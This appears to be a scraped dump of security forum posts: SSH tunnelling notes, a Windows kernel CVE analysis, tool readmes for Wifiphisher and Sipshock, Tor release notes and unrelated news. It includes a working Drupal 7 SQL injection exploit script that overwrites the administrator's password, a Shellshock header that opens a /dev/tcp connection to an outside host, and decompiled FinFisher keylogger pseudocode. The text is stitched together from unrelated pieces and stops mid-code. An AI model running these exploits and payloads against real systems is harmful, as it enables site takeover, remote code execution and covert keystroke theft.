Nytro

SSH tunnel [TABLE=class: toc] [TR] [TD]Contents 1 simple port forwarding (SSH tunneling) 1.1 port forwarding through an intermediary 1.2 reverse port forwarding 1.3 tricky reverse forwarding 1.4 Using scp through a DMZ gateway to a machine behind a firewall using a tunnel [*]2 Other options [*]3 SOCKS5 with Firefox [/TD] [/TR] [/TABLE] simple port forwarding (SSH tunneling) This example creates a tunnel for HTTP. This will forward port 80 of your localhost to port 80 of Example Domain. ssh -f -N -q -L 80:localhost:80 username@www.example.com This example creates a tunnel for IMAP. Here we forward port 1143 on localhost to 143 (IMAP) on imap.example.com. ssh -f -N -q -L 1143:localhost:143 username@imap.example.com -f tells ssh to go into the background (daemonize). -N tells ssh that you don't want to run a remote command. That is, you only want to forward ports. -q tells ssh to be quiet -L specifies the port forwarding port forwarding through an intermediary You can have the remote machine forward ports to a third machine. This is useful where your have your local machine outside a firewall; a visible machine on the DMZ; and a third machine invisible to the outside. This creates a tunnel from your localhost port 81 to 192.168.1.69 port 80 through dmz.example.com. This lets you see the web server from outside a LAN. ssh -f -N -q -L 81:192.168.1.69:80 username@dmz.example.com This example creates a tunnel for SSH itself, over localhost port 2222. ssh -f -N -q -L 2222:target-host.example.com:22 username@dmz.example.com This example creates a tunnel for IMAP. Here we forward port 1143 on localhost to 143 (IMAP) on 192.168.1.100 through dmz.example.com. ssh -f -N -q -L 1143:192.168.1.100:143 username@dmz.example.com VNC Viewer uses port 5900. This shows a double-hop. # localhost --> wan-gateway --> dmz-gateway --> vnc-console ssh -L 5900:localhost:5900 root@wan-gateway.example.com ssh -L 5900:vnc-console.example.com:5900 root@dmz-gateway.example.com reverse port forwarding This is used in the following situation: You have a server inside a private LAN that you want to connect to from the WAN outside. You can't create a NAT and port forwarding on your firewall to map the machine to the outside. You have a server outside that you can connect to from the server inside the LAN. What this does is creates a connection from the server in the LAN to the server outside. Once that connection is established the server outside starts listening on port 2222. All connections to port 2222 are sent back to port 22 of the server in the LAN. Now you can leave this connection running in your office; go home and ssh to your proxy server at port 2222 and you will be connecting to your server inside the LAN on port 22. ssh -f -N -q -R 2222:localhost:22 my_name@remote.example.com tricky reverse forwarding This allows a server on an internal LAN expose a service to the outside WAN. For example, I have a database server that will only accept connections from a specific development box. That dev box is inside the firewall. I want to connect to the database from outside the firewall. ssh -t -L 5432:localhost:1999 my_name@firewall.example.com ssh -t db_server ssh -t -R 1999:127.0.0.1:5432 my_name@firewall Using scp through a DMZ gateway to a machine behind a firewall using a tunnel First you setup port forwarding through an intermediary. This forwards your localhost port 2222 to port 22 on 192.168.1.100. Remember, that 192.168.1.100 is not on your local network; 192.168.1.100 is on the LAN network shared with 208.77.188.166. ssh -f -N -q -L 2222:192.168.1.100:22 user@208.77.188.166 scp -P 2222 transformers.avi user@localhost:. A diagram might help. Remember, port 22 is the SSH server port on the 192.168.1.100 machine. +---------------+ +----------------+ +----------------------+ | your | | remote DMZ | | server on remote LAN | | local machine | | server | | 192.168.1.100 | | | | 208.77.188.166 | | | | 2222: >-------| |-------> :22 | | | |\______________/| | | | | | | | | +---------------+ +----------------+ +----------------------+ Other options -o ExitOnForwardFailure=yes \ -o GSSAPIAuthentication=no \ -o GSSAPIAuthentication=no \ -o HashKnownHosts=no \ -o KbdInteractiveAuthentication=no \ -o PermitLocalCommand=yes \ -o LocalCommand="logger connected to %h" \ -o LocalForward=00:remote.example.com:000 \ -o ExitOnForwardFailure=yes \ -o NoHostAuthenticationForLocalhost=yes \ -o ProxyCommand=foo \ -o RemoteForward=foo \ -o RequestTTY=yes \ -o SendEnv=LC_* \ -o Tunnel=ethernet \ -o TunnelDevice=any:any \ -o VerifyHostKeyDNS=yes SOCKS5 with Firefox Simple and secure web browsing. You can setup a tunnel as described above or you can use the following technique. This starts SSH on your localhost acting as a SOCKS proxy. Once you start SSH this way you can point any application that supports a SOCKS5 interface to this port. But these instructions will show what you need to do to get Firefox to proxy through SOCKS. Firefox supports SOCKS with no extra add-ons. Start ssh an connection to a host that you want to proxy through. Use the -D option to specify a SOCKS5 port on your localhost. The port doesn't really matter. You just need to use the same port in your SOCKS client application. ssh -D 9999 username@proxy.example.com In Firefox select "Edit | Preferences | Advanced Tab | Connection Settings button". Then select "Manual proxy configuration". All you need to fill out is "SOCKS Host: Localhost", "Port: 9999", then select "SOCKS v5". It's easy. This tool can also help in switching the proxy settings on and off: SwitchProxy Tool Sursa: SSH tunnel - Noah.org

Sau iti iei un mar: Sistem Desktop PC Mac mini cu procesor Intel® Core™ i7 2.30GHz, 4GB, 2TB, Intel® HD Graphics, OS X Server, RO - eMAG.ro

An Analysis of A Windows Kernel-Mode Vulnerability (CVE-2014-4113) 6:35 pm (UTC-7) | by Weimin Wu (Threat Analyst) Three zero-day vulnerabilities - CVE-2014-4114, CVE-2014-4148, and CVE-2014-4113 - were reported last week and patched by Microsoft in their October 2014 Patch Tuesday. CVE-2014-4114, also known as the Sandworm vulnerability, can enable attackers to easily craft malware payloads when exploited. This particular vulnerability has been linked to targeted attacks against European sectors and industries. In addition, our researchers found that Sandworm was also being used to target hit SCADA systems. The latter two vulnerabilities (CVE-2014-4148, CVE-2014-4113) leveraged vulnerabilities in the Windows kernel (Win32k.sys), affecting most Windows versions. In 2013, only one Windows kernel zero-day, was made public; this particular vulnerability only affected some versions of Windows XP and Windows 2003. These new zero-days could be a sign that attackers are possibly shifting their focus back to kernel vulnerabilities. CVE-2014-4113 allows for the elevation of privileges when exploited successfully. Microsoft addressed this in MS14-058. The vulnerability affects both desktop and server versions from Windows XP and Server 2003 up to Windows 8.1 and Server 2012 R2. However, the currently available exploit code does not affect Windows 8 and later versions. With a parameter in the command line, the exploit code can create new processes with System privileges of an assigned program. EoP exploits are also believed to be used in targeted attacks, since the exploitable application does not have the privileges needed by attackers. This was seen in Stuxnet which employed CVE-2010-2743 (also in Win32k.sys) to EoP after using other exploit to infect system. The analysis of this vulnerability and its exploit will be based on samples with the following MD5 hashes: 70857e02d60c66e27a173f8f292774f1 f9f01ce747679b82723b989d01c4d927 We detect these as TROJ_APOLMY.A and TROJ64_APOLMY.A, with the latter being the version found on 64-bit systems. Everything you need to know about the Win32k.sys vulnerability Win32k.sys is responsible for window management, and any GUI process/thread that will use it. Its related user-mode modules are user32.dll and GDI32.dll. Due to the complex interaction with user-mode applications, there are many problems in Win32k.sys. Let’s take a closer look on the vulnerability being exploited. The essential problem is the function return value is not validated correctly. Programmers tend to overlook this, but doing otherwise is a serious security risk. In Win32k.sys, there is a function called xxxMNFindWindowFromPoint(), which returns the address of win32k!tagWND structure or error code -1, -5. Another function xxxHandleMenuMessages() will call it and use its return value as parameter of xxxSendMessage(). Below is the pseudo code: xxxHandleMenuMessages() { tagWnd* pWnd = xxxMNFindWindowFromPoint(…); … //without checking if the return value is a valid address xxxSendMessage(pwnd,…); } Obviously, if the error code -1 or -5 is used in xxxSendMessage() as an address, it will result in an error, such as a blue screen. In user-mode code, this is currently not exploitable. We will see how the sample exploits this vulnerability in kernel-mode in the next section. Below are the key steps or description on how the exploit occurs: Map a prepared memory section to NULL page, which includes a fake win32k!tagWND structure and a pointer to shell code for EoP in that structure. Trigger the bug and make the return value (pWnd) of xxxMNFindWindowFromPoint() to be -5 (0xfffffffb). Because all to-be-checked fields in the fake structure are accessible and in proper values, xxxSendMessage() will treat -5 as a valid address. It will then call a function pointer in the structure, which is the pointer to the shell code. Replace the token in EPROCESS to elevate to SYSTEM privileges in shell code. Create a child process with SYSTEM privileges of the assigned program The sample uses SetWindowsHookEx () to control xxxMNFindWindowFromPoint() to return -5: Create a window and 2-level popup menu. Hook that window’s wndproc call. Track popup menu on the window and enter hook callback. In the hook callback, it changes wndproc of the menu to another callback. In menu’s callback, it will destroy the menu and return -5 (PUSH 0xfffffffb; POP EAX) Lead to xxxMNFindWindowFromPoint() on the destroyed menu return -5 Furthermore, the shell code of the sample is simple and direct, as can be seen from the snippet below. We can see that it gets EPROCESS of SYSTEM process (PID=4), and copies its privilege token to EPROCESS of current process. Figure 1. Code snippet of the sample From the analysis, we can see that it is easier to exploit these kernel vulnerabilities than to exploit vulnerabilities like Internet Explorer UAF vulnerabilities. Some effective protections in user-mode, like DEP, is easily bypassed in kernel-mode exploits. This is because a program, instead of entered data or script, is used to exploit the bug. Such code is by its nature already executable. With more application sandboxing adopted in the OS, kernel vulnerabilities will be more important for privilege elevation. Though this exploitation method is not new anymore, it will be noticed by attackers, especially now that CVE-2014-4113 is public. During our sample sourcing, we even saw that the source code of an exploit creation tool was exposed. It is expected that more exploits variants will be created by attackers. We believe that threat actors and attackers need kernel vulnerability to carry out EoP attacks and break application sandboxing. Once information about these exploitation methods become more prevalent, we may see more similar kernel zero-day vulnerabilities in the future. Windows 7 and Windows XP are the versions of Windows most at risk of this attack. Enterprises are heavy users of both versions, and may be affected by this threat. We highly recommend that users and system administrators apply the relevant patches and keep their systems up-to-date. Windows 8 and later versions are at less risk, as the currently available exploit code is blocked on these versions. This is because of a new security feature known as Supervisor Mode Execution Prevention (SMEP), which prevents the access (read/write/execute) of user-mode memory pages in kernel-mode. As such, the access to null page and shell code will not lead to code execution, although it will lead to crashes. Trend Micro is continuously monitoring the threat landscape for any developments regarding these vulnerabilities including Sandworm. For more information on them, you may read our other articles: Sandworm to Blacken: The SCADA Connection An Analysis of Windows Zero-day Vulnerability ‘CVE-2014-4114’ aka “Sandworm” MS Zero-Day Used in Attacks Against European Sectors, Industries Sursa: An Analysis of A Windows Kernel-Mode Vulnerability (CVE-2014-4113) | Security Intelligence Blog | Trend Micro

18 October 2014 | 734 views RIPS – Static Source Code Analysis For PHP Vulnerabilities RIPS is a tool written in PHP to find vulnerabilities using static source code analysis for PHP web applications. By tokenizing and parsing all source code files RIPS is able to transform PHP source code into a program model and to detect sensitive sinks (potentially vulnerable functions) that can be tainted by user input (influenced by a malicious user) during the program flow. Besides the structured output of found vulnerabilities RIPS also offers an integrated code audit framework for further manual analysis. Features detect XSS, SQLi, File disclosure, LFI/RFI, RCE vulnerabilities and more 5 verbosity levels for debugging your scan results mark vulnerable lines in source code viewer highlight variables in the code viewer user-defined function code by mouse-over on detected call active jumping between function declaration and calls list of all user-defined functions (defines and calls), program entry points (user input) and scanned files (with includes) connected to the source code viewer graph visualization for files and includes as well as functions and calls create CURL exploits for detected vulnerabilties with few clicks visualization, description, example, PoC, patch and securing function list for every vulnerability 7 different syntax highlighting colour schemata display scan result in form of a top-down flow or bottom-up trace only minimal requirement is a local webserver with PHP and a browser (tested with Firefox) regex search function There are other PHP-centric tools we’ve covered such as: – RATS – Rough Auditing Tool for Security – Skavenger – Source Code Auditing Tool! – SpikeSource Spike PHP Security Audit Tool If you are interested in more tools of this type you can find our complete list here (which covers various languages) – Code Auditing Tools. NOTE: The authors have stated that RIPS 0.5 development is abandoned. A complete rewrite is in the works and used as an academic prototype but it is not publicly available yet. So we’ll be keeping an eye on what happens with that. But for now you can download RIPS here: rips-0.54.zip Or read more here. Sursa: RIPS - Static Source Code Analysis For PHP Vulnerabilities - Darknet - The Darkside

[h=2]About[/h] Wifiphisher is a security tool that mounts fast automated phishing attacks against WPA networks in order to obtain the secret passphrase. It is a social engineering attack that unlike other methods it does not include any brute forcing. It is an easy way for obtaining WPA credentials. Wifiphisher works on Kali Linux and is licensed under the MIT license. From the victim's perspective, the attack makes use in three phases: Victim is being deauthenticated from her access point. Wifiphisher continuously jams all of the target access point's wifi devices within range by sending deauth packets to the client from the access point, to the access point from the client, and to the broadcast address as well. Victim joins a rogue access point. Wifiphisher sniffs the area and copies the target access point's settings. It then creates a rogue wireless access point that is modeled on the target. It also sets up a NAT/DHCP server and forwards the right ports. Consequently, because of the jamming, clients will start connecting to the rogue access point. After this phase, the victim is MiTMed. Victim is being served a realistic router config-looking page. wifiphisher employs a minimal web server that responds to HTTP & HTTPS requests. As soon as the victim requests a page from the Internet, wifiphisher will respond with a realistic fake page that asks for WPA password confirmation due to a router firmware upgrade. Performing MiTM attack [h=2]Usage[/h] [h=2]Screenshots[/h] Targeting an access point A successful attack [h=2]Requirements[/h] Kali Linux. Two network interfaces, one wireless. A wireless card capable of injection. [h=2]Credits[/h] The idea belongs to Dan McInerney who also authored two essential modules of this script, wifijammer and fakeAP. [h=2]License[/h] Wifiphisher is licensed under the MIT license. See LICENSE for more information. Sursa: https://github.com/sophron/wifiphisher

Usage: sipshock [ Flags ] [ IP Addresses ] Usage flags: lhost : Local listening address lport : Local listening port (default 10111) rport : Remote port (default 5060) The exec module in Kamailio, Opensips and propably every other SER fork passes the received SIP headers as environment variables to the invoking shell. This makes these SIP proxies vulnerable to CVE-2014-6271 (Bash Shellshock). If a proxy is using any of the exec funtions and has the 'setvars' parameter set to the default value '1' then by sending SIP messages containing a specially crafted header we can run arbitrary code on the proxy machine. Sipshock tries to detect such vulnerable proxies by sending SIP INVITE Messages containing the following header: "X-Ploit: () { :;};exec >/dev/tcp/xx.xx.xx.xx/yy" where xx.xx.xx.xx/yy is the local IP and port that sipshock listens to. A vulnerable server will invoke a shell that will execute the code above and open a tcp connection to xx.xx.xx.xx:yy. Sipshock detects the connection and lists the server as vulnerable. This program is free software, distributed under the terms of the GNU General Public License Version 3. See the LICENSE file at the top of the source tree. Sursa: https://github.com/zaf/sipshock

pdate (Oct 16 20:35 UTC): The meek transport still needs performance tuning before it matches other more conventional transports. Ticket numbers are now listed in the post. The first release of the 4.0 series is available from the Tor Browser Project page and also from our distribution directory. This release features important security updates to Firefox. Additionally, due to the POODLE attack, we have also disabled SSLv3 in this release. The primary user-facing change since the 3.6 series is the transition to Firefox 31-ESR. More importantly for censored users who were using 3.6, the 4.0 series also features the addition of three versions of the meek pluggable transport. In fact, we believe that both meek-amazon and meek-azure will work in China today, without the need to obtain bridge addresses. Note though that we still need to improve meek's performance to match other transports, though. so adjust your expectations accordingly. See tickets #12428, #12778, and #12857 for details. This release also features an in-browser updater, and a completely reorganized bundle directory structure to make this updater possible. This means that simply extracting a 4.0 Tor Browser over a 3.6.6 Tor Browser will not work. Please also be aware that the security of the updater depends on the specific CA that issued the www.torproject.org HTTPS certificate (Digicert), and so it still must be activated manually through the Help ("?") "about browser" menu option. Very soon, we will support both strong HTTPS site-specific certificate pinning (ticket #11955) and update package signatures (ticket #13379). Until then, we do not recommend using this updater if you need stronger security and normally verify GPG signatures. There are also a couple behavioral changes relating to NoScript since 3.6. In particular, by default it now enforces script enable/disable for all sub-elements of a page, so you only need to enable scripts once for a page to work, rather than enabling many sub-scripts. This will hopefully make it possible for more people to use the "High Security" setting in our upcoming Security Slider, which will have Javascript disabled globally via NoScript by default. While we do not recommend per-element whitelisting due to fingerprinting, users who insist on keeping this functionality may wish to check out RequestPolicy. Note to MacOS users: We intend to deprecate 32bit OSX bundles very soon. If you are still using 32bit OSX 10.6, you soon will need to either update your OS to a later version, or begin using the Tails live operating system. Here is the changelog since 4.0-alpha-3: All Platforms Update Firefox to 31.2.0esr Update Torbutton to 1.7.0.1 Bug 13378: Prevent addon reordering in toolbars on first-run. Bug 10751: Adapt Torbutton to ESR31's Australis UI. Bug 13138: ESR31-about:tor shows "Tor is not working" Bug 12947: Adapt session storage blocker to ESR 31. Bug 10716: Take care of drag/drop events in ESR 31. Bug 13366: Fix cert exemption dialog when disk storage is enabled. [*]Update Tor Launcher to 0.2.7.0.1 Translation updates only [*]Udate fteproxy to 0.2.19 [*]Update NoScript to 2.6.9.1 [*]Bug 13027: Spoof window.navigator useragent values in JS WebWorker threads [*]Bug 13016: Hide CSS -moz-osx-font-smoothing values. [*]Bug 13356: Meek and other symlinks missing after complete update. [*]Bug 13025: Spoof screen orientation to landscape-primary. [*]Bug 13346: Disable Firefox "slow to start" warnings and recordkeeping. [*]Bug 13318: Minimize number of buttons on the browser toolbar. [*]Bug 10715: Enable WebGL on Windows (still click-to-play via NoScript) [*]Bug 13023: Disable the gamepad API. [*]Bug 13021: Prompt before allowing Canvas isPointIn*() calls. [*]Bug 12460: Several cross-compilation and gitian fixes (see child tickets) [*]Bug 13186: Disable DOM Performance timers [*]Bug 13028: Defense-in-depth checks for OCSP/Cert validation proxy usage [*]Bug 13416: Defend against new SSLv3 attack (poodle). Here is the list of all changes in the 4.0 series since 3.6.6: All Platforms Update Firefox to 31.2.0esr Udate fteproxy to 0.2.19 Update Tor to 0.2.5.8-rc (from 0.2.4.24) Update NoScript to 2.6.9.1 Update Torbutton to 1.7.0.1 (from 1.6.12.3) Bug 13378: Prevent addon reordering in toolbars on first-run. Bug 10751: Adapt Torbutton to ESR31's Australis UI. Bug 13138: ESR31-about:tor shows "Tor is not working" Bug 12947: Adapt session storage blocker to ESR 31. Bug 10716: Take care of drag/drop events in ESR 31. Bug 13366: Fix cert exemption dialog when disk storage is enabled. [*]Update Tor Launcher to 0.2.7.0.1 (from 0.2.5.6) Bug 11405: Remove firewall prompt from wizard. Bug 12895: Mention @Riseup.net as a valid bridge request email address Bug 12444: Provide feedback when “Copy Tor Log” is clicked. Bug 11199: Improve error messages if Tor exits unexpectedly Bug 12451: Add option to hide TBB's logo Bug 11193: Change "Tor Browser Bundle" to "Tor Browser" Bug 11471: Ensure text fits the initial configuration dialog Bug 9516: Send Tor Launcher log messages to Browser Console [*]Bug 13027: Spoof window.navigator useragent values in JS WebWorker threads [*]Bug 13016: Hide CSS -moz-osx-font-smoothing values. [*]Bug 13356: Meek and other symlinks missing after complete update. [*]Bug 13025: Spoof screen orientation to landscape-primary. [*]Bug 13346: Disable Firefox "slow to start" warnings and recordkeeping. [*]Bug 13318: Minimize number of buttons on the browser toolbar. [*]Bug 10715: Enable WebGL on Windows (still click-to-play via NoScript) [*]Bug 13023: Disable the gamepad API. [*]Bug 13021: Prompt before allowing Canvas isPointIn*() calls. [*]Bug 12460: Several cross-compilation and gitian fixes (see child tickets) [*]Bug 13186: Disable DOM Performance timers [*]Bug 13028: Defense-in-depth checks for OCSP/Cert validation proxy usage [*]Bug 4234: Automatic Update support (off by default) [*]Bug 11641: Reorganize bundle directory structure to mimic Firefox [*]Bug 10819: Create a preference to enable/disable third party isolation [*]Bug 13416: Defend against new SSLv3 attack (poodle). [*]Windows: Bug 10065: Enable DEP, ASLR, and SSP hardening options [*]Linux: Bug 13031: Add full RELRO hardening protection. Bug 10178: Make it easier to set an alternate Tor control port and password Bug 11102: Set Window Class to "Tor Browser" to aid in Desktop navigation Bug 12249: Don't create PT debug files anymore The list of frequently encountered known issues is also available in our bug tracker. Sursa: https://blog.torproject.org/blog/tor-browser-40-released?linkId=10066746

Nu ai ACK-uri pentru pachetele trimise. Nu stiu de ce zice tipul ca nu e important sa ajunga toate pachetele, dar daca nu ajungeau toate pachetele cand posta pe blog si articolul aparea jumatate probabil nu mai era asa fericit. Nu ai conexiune si ca sa vezi: primeste date de la cineva, un fisier important sa zicem. Si deodata crapa conexiunea persoanei respective. Stii asta? Nu. Tocmai ai primit jumatate de fisier. Traim in era GigaBit, cativa bytes in headerele pachetelor nu cred ca au un impact la fel de mare ca pierderea unor date importante.

Whoa, arata bine.

[h=1]Grupare specializat? în skimming, destructurat? de poli?i?tii bucure?teni[/h]SPECIAL • 16 Octombrie 2014 - 16:21 • B365.ro Cinci b?rba?i sunt b?nui?i c? ar fi confec?ionat ?i vândut dispozitive artizanale destinate clon?rii cardurilor. De la locuin?ele lor au fost ridicate mai multe medii de stocare a datelor, laptop-uri, hard disk-uri, telefoane mobile, carduri bancare ?i de fidelitate. Grupare specializat? în skimming, destructurat? de poli?i?tii bucure?teni Poli?i?tii Brig?zii de Combatere a Criminalit??ii Organizate Bucure?ti ?i procurorii D.I.I.C.O.T. – S.T. Bucure?ti au destructurat o grupare infrac?ional? specializat? în confec?ionarea de dispozitive artizanale destinate clon?rii cardurilor bancare ?i instalarea acestora la ATM-uri. Pentru probarea activit??ii infrac?ionale a celor cinci membri ai grup?rii, la data de 14 octombrie 2014, au fost efectuate 10 perchezi?ii la diferite imobile folosite de ace?tia. În urma acestor activit??i au fost identificate ?i ridicate mai multe medii de stocare a datelor, laptop-uri, hard disk-uri, telefoane mobile, carduri bancare ?i de fidelitate. Cei în cauz? au fost condu?i la sediul DIICOT Bucure?ti pentru efectuarea de audieri ?i cercet?ri, fa?? de ace?tia fiind dispus? m?sura preventiv? a controlului judiciar. Investiga?iile în cauz? au început cu ?ase 6 luni în urm?, iar din anchet? au rezultat indicii c? membrii grup?rii ar fi de?inut instrumentele ?i tehnica necesar? confec?ion?rii dispozitivelor de skimming ?i c? ar fi confec?ionat astfel de dispozitive. De asemenea, dispozitivele în cauz? erau testate pe bancomate din Bucure?ti pentru a verifica dac? func?ioneaz? corect, precum ?i pentru a efectua probele pentru eventualii cump?r?tori. Fa?? de cele cinci persoane a fost început? urm?rirea penal? sub aspectul s?vâr?irii infrac?iunilor de ini?iere, constituire ?i aderare la un grup infrac?ional organizat, de?inerea de echipamente în vederea falsific?rii instrumentelor de plat? electronic? ?i opera?iuni ilegale cu dispozitive sau programe informatice. Sursa: Grupare specializat? în skimming, destructurat? de poli?i?tii bucure?teni | B365

[h=1]Drupal 7.x SQL Injection SA-CORE-2014-005[/h] #Drupal 7.x SQL Injection SA-CORE-2014-005 https://www.drupal.org/SA-CORE-2014-005 #Creditz to https://www.reddit.com/user/fyukyuk import urllib2,sys from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py host = sys.argv[1] user = sys.argv[2] password = sys.argv[3] if len(sys.argv) != 3: print "host username password" print "http://nope.io admin wowsecure" hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash() target = '%s/?q=node&destination=node' % host post_data = "name[0%20;update+users+set+name%3d\'" \ +user \ +"'+,+pass+%3d+'" \ +hash[:55] \ +"'+where+uid+%3d+\'1\';;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in" content = urllib2.urlopen(url=target, data=post_data).read() if "mb_strlen() expects parameter 1" in content: print "Success!\nLogin now with user:%s and pass:%s" % (user, password) Exploit: [Python] Drupal 7.x SQL Injection SA-CORE-2014-005 - Pastebin.com

Nexus 9 will be the first device powered by Lollipop By Cosmin Vasile on October 15th, 2014 18:21 GMT As expected, Google announced its new version of Android, along with Nexus 9 tablet, Nexus 6 smartphone and Nexus Player set-up box. With more than 5,000 new APIs for developers, Android 5.0 Lollipop is Google's most ambitious release since the mobile platform made its debut back in 2008. The most popular mobile operating system to date, Android is now focusing on flexibility and personalization options. Even though it's considered by many the most customizable mobile platform, Android 5.0 Lollipop focuses on convergence. Once again, Google is trying to bring on the market a product that could be used on multiple devices of different category, such as phones, tablets and TVs. Lollipop has been especially designed to offer users the possibility to pick up where they left off, “so the songs, photos, apps, and even recent searches from one of your Android devices can be immediately enjoyed across all the other ones.” The focus of Android 5.0 is on smoother transition from one screen to another, so users can experience the same feel on either devices mentioned earlier. In this regard, Google has created a consistent design across all compatible devices, which is called Material Design. This will allow for smoother transitions between tasks and more intuitive ways to interact with your devices. More control over devices is another improvement Google has added into Lollipop, which allows users to adjust their settings so that only certain people and notifications get through. Moreover, you will be able to see an important notification directly on the lockscreen.[h=3]Surprisingly, Nexus 4 qualifies for an Android 5.0 Lollipop update[/h]Android 5.0 Lollipop brings lots of new features and improvements, including a new battery saver that should extend battery life by up to 90 minutes. Google also added a guest user mode and enabled multiple user accounts, so personal data will remain private between users. Several security features have been included as well, such as the option to secure a device with a PIN, password, pattern, or even by pairing it to a trusted device like a watch or car with Smart Lock. The good news is Google confirmed Android 5.0 Lollipop will be available on Nexus 4 and Nexus 5 smartphones, as well as Nexus 7 and Nexus 10 tablets. All Google Play edition devices will receive the new version of the OS as an update “in the coming weeks.” The only devices that have been confirmed to ship with Android 5.0 Lollipop out of the box are Nexus 6, Nexus 9 and Nexus Player. Sursa si video: Android 5.0 Is Lollipop, Brings Material Design to Phones, Tablets and TVs - Softpedia

Posted on: 14 October 2014 By: siteadm As requested on reddit and twitter, this time I'm going to analyze final pieces of FinFisher malware: shell extension, driverw.sys and mssounddx.sys. No time to waste, so let's begin: a) Shell Extension (KeyLogger) As title says, shell extension's main/whole purpose is logging user's keystrokes. As Finfisher malware, never ceased to amaze me, this shell extension amazed me too. This DLL file, basically sets up global hook using SetWindowsHookEx API, records keystrokes of user, as a typical simple keylogger, but with a small difference. This keylogger doesn't hook WH_KEYBOARD or WH_KEYBOARD_LL, it hooks WH_GETMESSAGE, so basic keylogger detection methods won't be able to call it a "keylogger", even static analysis wouldn't show it as a keylogger, because it's hooking windows messages. Anyway, I'll do my best to decompile and write a psuedo code of the DLL file. Before starting, I should mention that DLL compilation date/time is: 10/28/2010 11:57:36 AM which I think is correct and unaltered. Anyway, here is the details of the DLL: Calls CreateEventW API with "Local\\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFA0}" as event. Calls LoadString (unicode) two times to load two strings from resources and then it uses them as filename for saving logged keys and window titles. Filenames are: "\\\\.\\mailslot\\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFE0}" (FILE1) and "\\\\.\\mailslot\\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFE1}" (FILE2) ? Opens both these files at beginning and stores handles globally, so whole DLL will be able to call WriteFile using same handle. Sets up ImmGetCompositionStringA and ImmGetCompositionStringW hooks, these two are exported from imm32.dll. Calls SetWindowsHookExW to setup a global hook using WH_GETMESSAGE as hook type. In the hook handler (callback) function, checks callback type to WM_KEYDOWN and uses WriteFile API to write keystroke details to FILE1. So psuedo code should be something like this: void SetupHook() { HANDLE eventHandle = CreateEventW(0, 0, 0, L"Local\\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFA0}"); if (eventHandle) { if ( GetLastError() == 183 ) CloseHandle(eventHandle); else { if ( HookHandle ) { UnhookWindowsHookEx(HookHandle); HookHandle = NULL; glbVar1 = 0; } } } if ( !LoadStringW(hmod, 0x101, &File1, 260) || !LoadStringW(hmod, 0x102, &File2, 260) ) return 0; glbHandleFile1 = CreateFileW(&File1, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, 0x03, 0, 0); if ( glbHandleFile1 == (HANDLE)-1 ) { lstErr = GetLastError(); errmsg = FormatMessageCall(lstErr); LocalFree((HLOCAL)errmsg); } glbHandleFile2 = CreateFileW(&File2, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, 0x03, 0, 0); if ( glbHandleFile1 == (HANDLE)-1 ) { lstErr = GetLastError(); errmsg = FormatMessageCall(lstErr); LocalFree((HLOCAL)errmsg); } imm32Handle = LoadLibraryA("imm32.dll"); if ( imm32Handle ) { fGetCompositionW = GetProcAddress(imm32Handle, "ImmGetCompositionStringW"); ret = HookSetup(fGetCompositionW, (int)GetCompositionWHook, (int)&RealGetCompositionW); fGetCompositionA = GetProcAddress(imm32Handle, "ImmGetCompositionStringA"); ret = HookSetup(fGetCompositionA, (int)GetCompositionAHook, (int)&RealGetCompositionA); } glbHHook = SetWindowsHookExW(WH_GETMESSAGE, (HOOKPROC)HookCallback, hmod, 0); } LRESULT CALLBACK HookCallback(int code,WPARAM wParam,LPARAM lParam) { LPMSG lpMsg = (LPMSG) lParam; if (!code && wParam == 1 && lpMsg->message == WM_KEYDOWN) { memset(&Dst, 0, 0x434); GetKeyboardLayoutNameA(&pwszKLID); HWND TheHWND = lpMsg->hwnd; HWND pHWND = TheHWND; curProcID = GetCurrentProcessId(); GetWindowThreadProcessId(TheHWND, &dwProcessId); hWnd = v6; while ( curProcID == dwProcessId ) { pHWND = TheHWND; pHWND = GetParent(pHWND); if ( !pHWND ) break; GetWindowThreadProcessId(pHWND, &dwProcessId); } memset(&wndTitle, 0, 0x208); GetWindowTextW(pHWND, &wndTitle, 259) WriteFile(File1, &Dst, 0x434u, &NumberOfBytesWritten, (LPOVERLAPPED)v7); return CallNextHookEx(hHook, code, wParam, lParam); } So, using Microsoft's sample code, I wrote a code to listen for both Slots, here is the code: #include <windows.h> #include <tchar.h> #include <stdio.h> #include <strsafe.h> HANDLE TheSlot1; HANDLE TheSlot2; LPTSTR SlotName = TEXT("\\\\.\\mailslot\\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFE0}"); LPTSTR SlotName2 = TEXT("\\\\.\\mailslot\\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFE1}"); BOOL ReadSlot(HANDLE hSlot) { DWORD cbMessage, cMessage, cbRead; BOOL fResult; LPTSTR lpszBuffer; TCHAR achID[80]; DWORD cAllMessages; HANDLE hEvent; OVERLAPPED ov; cbMessage = cMessage = cbRead = 0; hEvent = CreateEvent(NULL, FALSE, FALSE, TEXT("ExampleSlot")); if( NULL == hEvent ) return FALSE; ov.Offset = 0; ov.OffsetHigh = 0; ov.hEvent = hEvent; fResult = GetMailslotInfo( hSlot, // mailslot handle (LPDWORD) NULL, // no maximum message size &cbMessage, // size of next message &cMessage, // number of messages (LPDWORD) NULL); // no read time-out if (!fResult) { printf("GetMailslotInfo failed with %d.\n", GetLastError()); return FALSE; } if (cbMessage == MAILSLOT_NO_MESSAGE) return TRUE; cAllMessages = cMessage; while (cMessage != 0) // retrieve all messages { // Create a message-number string. StringCchPrintf((LPTSTR) achID, 80, TEXT("\nMessage #%d of %d\n"), cAllMessages - cMessage + 1, cAllMessages); // Allocate memory for the message. lpszBuffer = (LPTSTR) GlobalAlloc(GPTR, lstrlen((LPTSTR) achID)*sizeof(TCHAR) + cbMessage); if( NULL == lpszBuffer ) return FALSE; lpszBuffer[0] = '\0'; fResult = ReadFile(hSlot, lpszBuffer, cbMessage, &cbRead, &ov); if (!fResult) { printf("ReadFile failed with %d.\n", GetLastError()); 